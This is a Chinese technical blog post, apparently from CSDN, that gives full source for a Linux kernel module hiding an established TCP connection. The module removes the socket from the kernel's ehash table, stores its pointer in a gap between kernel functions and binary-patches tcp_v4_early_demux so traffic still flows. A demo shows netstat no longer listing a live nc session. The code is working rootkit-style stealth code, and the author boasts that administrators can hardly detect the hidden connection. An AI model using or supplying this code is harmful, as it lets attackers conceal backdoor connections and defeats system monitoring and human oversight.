系统linux怎么清除TCP,Linux系统中如何彻底隐藏一个TCP连接?

前面的文章中,我稍微描述了一下如何隐藏一个TCP连接:

https://blog.csdn.net/dog250/article/details/105372214

在上文中,我采用了 传统 的做法,即hook住proc的/proc/net/tcp展示接口,但这个方法并没有可观赏性,说白了有点像掩耳盗铃,毕竟连接还是在那里的,你自己去遍历系统的TCP ehash表,还是能看到所有大的TCP连接的。

所以,今天我来用 手艺活儿 的方法,庖丁解牛般演示如何彻底隐藏一个TCP连接。

看看那些各种hook proc展示接口的掩耳盗铃法,多么的复杂!多么的复杂啊!看看我这个,多么的彻底!多么的简单啊!

所谓的彻底隐藏,就是将一个TCP连接从系统的TCP ehash表中摘除!这个很容易,调用 inet_unhash 即可了。

问题是,摘除了之后,我们把它放在哪里,才能让进来的数据包顺利匹配到该连接呢?

答案还是二进制hook。

我们搜索系统内存中含有8个字节(一个地址的大小)空隙的位置,把sock结构体的地址放进去即可。这个空隙一般在内核函数之间。比如我使用的地址:

#define ROOM_ADDR 0xffffffff815622dd

它就是ip_rcv函数和ip4_frag_match之间的无用空隙。当然了,我们也可以动态分配内存,但是并不优雅。

来吧,下面是代码:

// hide_connection.c

#include

#include

#include

#include

#include

/*

* version 1.0

* 缺点:

*1. 仅仅可以藏一个sock,后续可以增加一个新的藏污纳垢专有hlist,同样可以见缝插针

*2. 仅仅支持目标端口匹配,即stub_func_tcp4_demux仅仅根据目标端口过滤

* 但这一切都是为了简单!简单!简单!

*/

char *stub = NULL;

// 用于立即数替换

#defineROOM_MAGIC0x1122334455667788

#definePORT_MAGIC0x3412

// hook住tcp_v4_early_demux后执行该函数

void stub_func_tcp4_demux(struct sk_buff *skb)

{

struct iphdr *iph;

struct tcphdr *th;

struct sock *sk;

if (skb->pkt_type != PACKET_HOST)

return;

if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr)))

return;

iph = ip_hdr(skb);

th = tcp_hdr(skb);

if (th->doff < sizeof(struct tcphdr) / 4)

return;

// PORT_MAGIC将会被目标端口所替换

if (ntohs(th->dest) == PORT_MAGIC) {

// ROOM_MAGIC将会被存放sock结构体的内存地址所替换,一个指针即可。

struct sock **psk = (struct sock **)ROOM_MAGIC;

sk = *psk; // 取出被藏匿的sock结构体地址

atomic_inc_not_zero(&sk->sk_refcnt);

skb->sk = sk;

skb->destructor = sock_edemux;

if (sk->sk_state != TCP_TIME_WAIT) {

struct dst_entry *dst = sk->sk_rx_dst;

if (dst)

dst = dst_check(dst, 0);

if (dst &&

inet_sk(sk)->rx_dst_ifindex == skb->skb_iif)

skb_dst_set_noref(skb, dst);

}

goto out;

}

return;

out:

// 不再执行原始的tcp_v4_early_demux函数,skip掉它的堆栈。

asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;");

}

#define FTRACE_SIZE 5

#define POKE_OFFSET0

#define POKE_LENGTH5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,

unsigned long start, unsigned long end, gfp_t gfp_mask,

pgprot_t prot, int node, const void *caller);

static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);

static struct mutex *_text_mutex;

char *hide_tcp4_seq_show = NULL;

unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)

#define END _AC(0xffffffffff000000, UL)

static int hide = 1;

module_param(hide, int, 0444);

static __be16 sport = 1234;

module_param(sport, ushort, 0444);

static __be16 dport = 1234;

module_param(dport, ushort, 0444);

static __be32 saddr = 0;

module_param(saddr, uint, 0444);

static __be32 daddr = 0;

module_param(daddr, uint, 0444);

static int ifindex = 0;

module_param(ifindex, int, 0444);

#defineROOM_ADDR0xffffffff815622dd

void restore_connection(void)

{

struct sock *sk, **psk;

psk = (struct sock **)ROOM_ADDR;

sk = *psk;

__inet_hash_nolisten(sk, NULL);

}

static int __init hideconn_init(void)

{

s32 offset;

char *_tcp4_early_demux, *stub_demux;

unsigned long hide_psk[1];

unsigned short aport[1];

struct sock **hide_sk, *sk = NULL;

unsigned long psk_addr = 0;

int i;

unsigned long *scan;

unsigned short *sscan;

_tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux");

if (!_tcp4_early_demux) {

return -1;

}

___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");

_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");

_text_mutex = (void *)kallsyms_lookup_name("text_mutex");

if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {

return -1;

}

if (hide == 0) { // 恢复TCP连接,将其重新插入TCP ehash表

restore_connection();

offset = *(unsigned int *)&_tcp4_early_demux[1];

stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE);

get_online_cpus();

mutex_lock(_text_mutex);

_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH);

mutex_unlock(_text_mutex);

put_online_cpus();

vfree(stub);

return -1;

}

stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END,

GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,

-1, __builtin_return_address(0));

/*

// 仅仅藏匿一个socket

#define SIZE1

// 如果我们采用动态分配内存的方式,就必须想办法能找到它。

// 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择!

hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END,

GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,

-1, __builtin_return_address(0));

*/

// 但为了更加trick,我还是选择藏污纳垢的方式来见缝插针!

hide_sk = (struct sock **)ROOM_ADDR;

if (!stub_demux || !hide_sk) {

return -1;

}

// 根据参数传来的4元组来查找socket!

sk = inet_lookup_established(&init_net, &tcp_hashinfo,

saddr, htons(sport), daddr, htons(dport), ifindex);

if (!sk) {

vfree(stub_demux);

return -1;

}

*hide_sk = sk;

psk_addr = (unsigned long)hide_sk;

hide_psk[0] = psk_addr;

stub = (void *)stub_func_tcp4_demux;

// 扫描stub查找并替换“隐藏sock的内存地址”

scan = (unsigned long *)stub;

for (i = 0; i < 0x1ff; i++) {

scan = (unsigned long *)&stub[i];

if (*scan == ROOM_MAGIC)

break;

}

_text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk));

// 扫描stub查找并替换目标端口

sscan = (unsigned short *)stub;

for (i = 0; i < 0x1ff; i++) {

sscan = (unsigned short *)&stub[i];

if (ntohs(*sscan) == PORT_MAGIC)

break;

}

aport[0] = htons(dport);

_text_poke_smp(&stub[i], aport, sizeof(aport));

memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff);

stub = (void *)stub_demux;

jmp_call[0] = 0xe8;

offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE);

(*(s32 *)(&jmp_call[1])) = offset;

get_online_cpus();

mutex_lock(_text_mutex);

_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH);

mutex_unlock(_text_mutex);

put_online_cpus();

// 将TCP连接从ehash摘除

inet_unhash(sk);

sock_put(sk);

// 事了拂衣去,深藏身与名!

return -1;

}

static void __exit hideconn_exit(void)

{

}

module_init(hideconn_init);

module_exit(hideconn_exit);

MODULE_LICENSE("GPL");

好了,让我们演示一把。

首先在机器上启动一个nc,然后另外一台机器上启动另一个nc或者telnet来连接它:

[root@localhost ~]# netstat -antp|grep 2222

tcp 0 0 192.168.56.110:2222 192.168.56.101:50618 ESTABLISHED 4154/nc

然后按照展示的四元组来加载模块:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618

insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted

[root@localhost ~]# netstat -antp|grep 2222

[root@localhost ~]# echo $?

1

看来,连接已经被隐藏掉了。然而连接还在,连接它的那台机器还可以和它通信:

root@zhaoya-VirtualBox:/home/zhaoya# telnet 192.168.56.110 2222

Trying 192.168.56.110...

Connected to 192.168.56.110.

Escape character is '^]'.

11111

3333333

222222222222222

在本机看来:

[root@localhost ~]# nc -l 2222

11111

3333333

222222222222222

双方在不停地相互echo。

好了,玩够了,现在让我们恢复这个TCP连接:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 hide=0

insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted

[root@localhost ~]# netstat -antp|grep 2222

tcp 0 0 192.168.56.110:2222 192.168.56.101:50618 ESTABLISHED 4154/nc

[root@localhost ~]# echo $?

0

我起初想的是,靠动态内存分配,在系统中营造一个TCP连接的小王国,或者说进程的小王国,把隐藏掉的TCP连接或者进程均放在这些小王国里,只有我自己知道它们在哪里:

它们在内核函数的间隙。

它们在任意位置。

它们的地址被分为4个部分,每个部分2字节,这样只需4个不连续的2字节间隙即可。

它们甚至可以一个字节一个字节拼起来形成一个地址。

以这种方式隐藏掉的TCP连接,是比较彻底的隐藏方式,经理基本是无法查出来的。

如果你说CFI,好吧,一般的经理不懂CFI的,不过无论怎样,经理的皮鞋都是真皮的。

浙江温州皮鞋湿,下雨进水不会胖

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值